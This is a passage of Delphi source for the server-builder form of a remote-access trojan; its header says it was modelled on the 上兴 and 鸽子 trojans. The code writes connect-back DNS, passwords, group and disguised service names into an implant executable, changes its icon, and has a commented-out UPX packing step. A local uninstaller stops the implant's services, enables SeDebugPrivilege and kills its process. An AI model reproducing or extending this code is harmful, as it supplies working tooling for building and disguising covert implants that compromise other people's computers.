unitconfigserver.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

  try
    if not authen(yzhurl) then exit;
  except
  end;                                             }
   /////////////////////////////////////////////////////////////////////
  //分组               //端口
  if not fileexists(tempserver) then
    MemoOutput.Lines.Append('无法找到原始服务端!' + #13#10 + '请检查');
  if fileexists(tempserver) then
  begin
  OperationZjjFile(1, pchar(tempserver), 'second', false, 4);
    try
      deletefile(tempserver);
    except
    end;
  {  case MessageBox(0, '加壳压缩服务端?', '确认', mb_IconQuestion + Mb_YesNo) of
      Idyes:
        if ExtractRes('RCDUPX', 'UPXKMM', getcurrentdir + '\UPX.EXE') then
        begin
          ShellExecute(0, nil, pchar(getcurrentdir + '\upx.exe'), PChar('"' +
            'server.exe' + '"'), nil, SW_HIDE);
          delupx;
        end;
    end;  }
    try
    New(ConfigToSave);
    ZeroMemory(@ConfigToSave.spzh, 255);
    ConfigToSave.spzh :=peizhi;
    except
    end;
   if WriteSettings(pchar(mainserver), ConfigToSave) = True then
    MemoOutput.Lines.Append('服务端配置信息写入')
    else
    begin
      MessageBeep($FFFFFFFF);
      MemoOutput.Lines.Append('>无法生成服务端');
    end;
    Dispose(ConfigToSave); //Libera la configuracion
    If IconPath <> '' then //cambiar icono
    begin
      MemoOutput.Lines.Append('> 选择图标中...');
      try
      ChangeIcon(pchar(mainserver), IconPath, 'MAINICON');
        MemoOutput.Lines.Append('> 服务端图标更改完毕')
      except
        MessageBeep($FFFFFFFF);
        MemoOutput.Lines.Append('> 无法更改图标');
        end;
     end;
   MessageBox(0, '服务端生成完毕', '提示', mb_iconinformation);
  end;
end;

const
  SE_DEBUG_NAME = 'SeDebugPrivilege';

procedure GetDebugPrivs; //提升进程权限
var
  hToken: THandle;
  tkp: TTokenPrivileges;
  retval: dword;
begin
  if (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or
    TOKEN_QUERY, hToken)) then
  begin
    LookupPrivilegeValue(nil, SE_DEBUG_NAME, tkp.Privileges[0].Luid);
    tkp.PrivilegeCount := 1;
    tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, False, tkp, 0, nil, retval);
  end;
end;
function readpid: string; //--------------检察PID
var
      rType: LongInt;
       ValueBuf: array[0..10] of char;
       ValueSize: Longint;
       OrigSize: Longint;
  begin
    result := '';
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup'), 0, KEY_READ, hkSB) =
      ERROR_SUCCESS then
    begin
      OrigSize := sizeof(ValueBuf);
      ValueSize := OrigSize;
      rType := REG_SZ;
      if RegQueryValueEx(hkSB, 'pid', nil, @rType,
        @ValueBuf, @ValueSize) = ERROR_SUCCESS then
        result:=strpas(ValueBuf);
      RegCloseKey(hkSB);
    end;
   end;
procedure killpid(killed:string);
var
pid:dword;
begin
      try
       getdebugprivs;
       pid:=strtoint(killed);
      TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),pID), 0);
      except
      end;
 end;
procedure TConfigServer.BitBtn1Click(Sender: TObject);
begin
   repkey := GetDirectory(1) + dllname; //DLL目录
   backup := GetDirectory(0) + backserv+'.exe'; //EXE备份
  if (fileexists(backup))or(fileexists(repkey)) then
  begin
    case MessageBox(0, '卸载本机上的服务端?', '确认', mb_IconQuestion + Mb_YesNo)
      of
      IdNo: exit;
    end;
  end
  else
  begin
    MessageBox(0, '未发现本机存在服务端！', '确认', mb_iconinformation);
    exit;
  end;
  if ServiceRunning('', backserv) then ServiceStop('', backserv); //停止此服务
  DelService(backserv);
  if readpid<>'' then
  try
  if fileexists(backup) then killpid(readpid);
  except
  end;  
  deletefile(backup);
  if ServiceRunning('', repserv) then ServiceStop('', repserv); //停止此服务
  DelService(repserv);
  deletefile(repkey);
  if  (not fileexists(backup)) and (not fileexists(repkey)) then
  begin MessageBox(0, '卸载成功！', '确认', mb_iconinformation)
  end
  else
    MessageBox(0, '卸载失败，请手动卸载！', '确认', mb_iconinformation);
end;

procedure TConfigServer.IdHTTP1Work(Sender: TObject; AWorkMode: TWorkMode;
  const AWorkCount: Integer);
//接收数据的时候,进度将在ProgressBar1显示出来.
begin
  ProgressBar1.Position := ProgressBar1.Position + AWorkCount;
  configserver.statusbar1.panels[1].Text := '已下载:' +
    inttostr(ProgressBar1.Position div 1024)
    + 'K字节,总共:' + inttostr(ProgressBar1.Max div 1024) + 'K字节,约'
    + inttostr(ProgressBar1.Position * 100 div ProgressBar1.Max) + '%';
end;

procedure TConfigServer.IdHTTP1WorkBegin(Sender: TObject;
  AWorkMode: TWorkMode; const AWorkCountMax: Integer);
begin
  //开始下载前,将ProgressBar1的最大值设置为需要接收的数据大小.
  ProgressBar1.Max := AWorkCountMax;
  ProgressBar1.Min := 0;
  ProgressBar1.Position := 0;
end;
{
procedure TConfigServer.IdHTTP1Status(ASender: TObject;
  const AStatus: TIdStatus; const AStatusText: String);
begin
ConfigServer.statusbar1.panels[0].text:=AStatusText;
end;   }

procedure TConfigServer.IdHTTP1WorkEnd(Sender: TObject;
  AWorkMode: TWorkMode);
begin
  ProgressBar1.Position := ProgressBar1.Max;
end;

procedure TConfigServer.StatusBar1DrawPanel(StatusBar: TStatusBar;
  Panel: TStatusPanel; const Rect: TRect);
begin
  ConfigServer.progressBarRect := Rect;
end;



procedure TConfigServer.spSkinButton2Click(Sender: TObject);
begin
  close;
end;




function app_path1:string;
begin
  result:=extractfilepath(application.ExeName);
end;

procedure TConfigServer.FormCreate(Sender: TObject);
var
  ini1:tinifile;
begin
IconPath :='';

///////////////////////////////////////////
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  edit1.Text:=ini1.ReadString('pzh','dns',edit1.Text);
  edit2.Text:=ini1.ReadString('pzh','ljpass',edit2.Text);
  edit3.Text:=ini1.ReadString('pzh','bzh',edit3.Text);
  edit4.Text:=ini1.ReadString('pzh','group',edit4.Text);
  edit5.Text:=ini1.ReadString('pzh','sername',edit5.Text);
  edit6.Text:=ini1.ReadString('pzh','serdisplay',edit6.Text);
  edit7.Text:=ini1.ReadString('pzh','cpass',edit7.Text);

 // name.Text:=ini1.ReadString('pzh','name',name.Text);
 // oldpass.Text:=ini1.ReadString('pzh','oldpass',oldpass.Text);
  ini1.Free;
end;

procedure TConfigServer.edit1Change(Sender: TObject);
var
  ini1:tinifile;
begin
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  ini1.WriteString('pzh','dns',edit1.Text);
  ini1.Free;
end;

procedure TConfigServer.Edit2Change(Sender: TObject);
var
  ini1:tinifile;
begin
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  ini1.WriteString('pzh','ljpass',edit2.Text);
  ini1.Free;
end;


procedure TConfigServer.Edit3Change(Sender: TObject);
var
  ini1:tinifile;
begin
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  ini1.WriteString('pzh','bzh',edit3.Text);
  ini1.Free;
end;


procedure TConfigServer.Edit4Change(Sender: TObject);
var
  ini1:tinifile;
begin
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  ini1.WriteString('pzh','group',edit4.Text);
  ini1.Free;
end;






procedure TConfigServer.ImageIconClick(Sender: TObject);
begin
  with OpenDialog do
  begin
    Title := 'Abrir icono...';
    Options := [ofFileMustExist]; //solo deja seleccionar archivos que existan
    Filter := 'Icono (*.ico)|*.ico';
    DefaultExt := 'ico';
    InitialDir := GetCurrentDir();
    if Execute then
    begin
      if FileName <> '' then
      begin
        IconPath := FileName;
        ImageIcon.Picture.LoadFromFile(IconPath);
      end;
    end;
  end;
end;

procedure TConfigServer.edit5Change(Sender: TObject);
var
  ini1:tinifile;
begin
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  ini1.WriteString('pzh','sername',edit5.Text);
  ini1.Free;
end;


procedure TConfigServer.edit6Change(Sender: TObject);
var
  ini1:tinifile;
begin
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  ini1.WriteString('pzh','serdisplay',edit6.Text);
  ini1.Free;
end;

procedure TConfigServer.Edit7Change(Sender: TObject);
var
  ini1:tinifile;
begin
  ini1:=tinifile.Create(app_path1+'Operate.ini');
  ini1.WriteString('pzh','cpass',edit7.Text);
  ini1.Free;
end;




procedure TConfigServer.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
  if Key = Chr(3592) then Exit;
  if (Key < '0') or (Key > '9') then Key := Chr(0);
end;





end.